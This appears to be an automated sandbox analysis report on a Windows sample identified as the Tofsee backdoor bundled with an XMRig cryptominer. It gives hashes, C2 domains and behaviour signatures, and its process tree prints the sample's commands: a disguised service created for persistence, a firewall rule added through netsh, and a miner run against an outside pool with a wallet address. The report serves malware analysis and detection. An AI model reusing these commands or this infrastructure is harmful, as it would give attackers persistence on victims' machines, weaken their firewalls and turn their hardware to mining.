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Overview

overview

10

Static

static

1

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/02/2023, 20:08

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General

  • Target

    file.exe

  • Size

    301KB

  • MD5

    ae9dc34b6a8ea00485a79cc48fc59662

  • SHA1

    0e623ec7aaa91275e2fb0bcad85caa360b1fd296

  • SHA256

    3878ebdeaa9e027240ca37b48fc74c9d1f1e58e17708d33b050af65cc2ac66e1

  • SHA512

    a4dd1994fddd471c5ad4394e4c85f9f762bc4a82286d5e902fc5b837d7a9bc5c28e2098b802e21243d833e7b1f8fc6f154857f4712c721d0d1e25d383508a0ae

  • SSDEEP

    3072:CBLb6b6cLxMRGDLx1l9yy70oMh5KGlF2Lw9M4uQjiMTE5/3RbPafVi:C1ZcLxzR1/ooTfLw9BuQj9M3lPat

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5100
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nnhisef\
      2⤵
        PID:2848
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vbojcjwr.exe" C:\Windows\SysWOW64\nnhisef\
        2⤵
          PID:5004
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nnhisef binPath= "C:\Windows\SysWOW64\nnhisef\vbojcjwr.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4864
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nnhisef "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4784
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nnhisef
          2⤵
          • Launches sc.exe
          PID:5048
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4548
      • C:\Windows\SysWOW64\nnhisef\vbojcjwr.exe
        C:\Windows\SysWOW64\nnhisef\vbojcjwr.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3740
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4432
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3660
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3740 -s 548
          2⤵
          • Program crash
          PID:384
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3740 -ip 3740
        1⤵
          PID:4500

        Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\vbojcjwr.exe
          Filesize

          10.1MB

          MD5

          59841950ec8c54954f0e687dbe9fe68e

          SHA1

          95bf9d2dce5c37000ba095cbe8dc3c565992e3e9

          SHA256

          4b3b4e781ad001b86d7aabc93b6483bc33749404bdc1727162e8457bef763fd2

          SHA512

          0568c2901f33f29e6ceee59c2cfe5b0a189775ba23c9b7a55223c893dbcd52a33dabea8d9c19433e62aaad70479df9f0f867de09a6fc3724ba09109dbfc2bd45

          Download Submit

        • C:\Windows\SysWOW64\nnhisef\vbojcjwr.exe
          Filesize

          10.1MB

          MD5

          59841950ec8c54954f0e687dbe9fe68e

          SHA1

          95bf9d2dce5c37000ba095cbe8dc3c565992e3e9

          SHA256

          4b3b4e781ad001b86d7aabc93b6483bc33749404bdc1727162e8457bef763fd2

          SHA512

          0568c2901f33f29e6ceee59c2cfe5b0a189775ba23c9b7a55223c893dbcd52a33dabea8d9c19433e62aaad70479df9f0f867de09a6fc3724ba09109dbfc2bd45

          Download Submit

        • memory/3660-177-0x0000000000400000-0x00000000004F1000-memory.dmp

          Filesize

          964KB

          Download

        • memory/3660-172-0x0000000000400000-0x00000000004F1000-memory.dmp

          Filesize

          964KB

          Download

        • memory/3740-150-0x0000000000400000-0x00000000004C8000-memory.dmp

          Filesize

          800KB

          Download

        • memory/3740-149-0x0000000000729000-0x000000000073E000-memory.dmp

          Filesize

          84KB

          Download

        • memory/4432-159-0x00000000007F0000-0x0000000000800000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4432-151-0x0000000000500000-0x0000000000515000-memory.dmp

          Filesize

          84KB

          Download

        • memory/4432-168-0x00000000025E0000-0x00000000025E7000-memory.dmp

          Filesize

          28KB

          Download

        • memory/4432-165-0x0000000007200000-0x000000000760B000-memory.dmp

          Filesize

          4.0MB

          Download

        • memory/4432-162-0x00000000025D0000-0x00000000025D5000-memory.dmp

          Filesize

          20KB

          Download

        • memory/4432-146-0x0000000000500000-0x0000000000515000-memory.dmp

          Filesize

          84KB

          Download

        • memory/4432-156-0x00000000007E0000-0x00000000007E6000-memory.dmp

          Filesize

          24KB

          Download

        • memory/4432-153-0x0000000002200000-0x000000000240F000-memory.dmp

          Filesize

          2.1MB

          Download

        • memory/4432-152-0x0000000000500000-0x0000000000515000-memory.dmp

          Filesize

          84KB

          Download

        • memory/5100-132-0x00000000005EE000-0x0000000000604000-memory.dmp

          Filesize

          88KB

          Download

        • memory/5100-144-0x0000000000400000-0x00000000004C8000-memory.dmp

          Filesize

          800KB

          Download

        • memory/5100-143-0x00000000005EE000-0x0000000000604000-memory.dmp

          Filesize

          88KB

          Download

        • memory/5100-134-0x0000000000400000-0x00000000004C8000-memory.dmp

          Filesize

          800KB

          Download

        • memory/5100-133-0x0000000000590000-0x00000000005A3000-memory.dmp

          Filesize

          76KB

          Download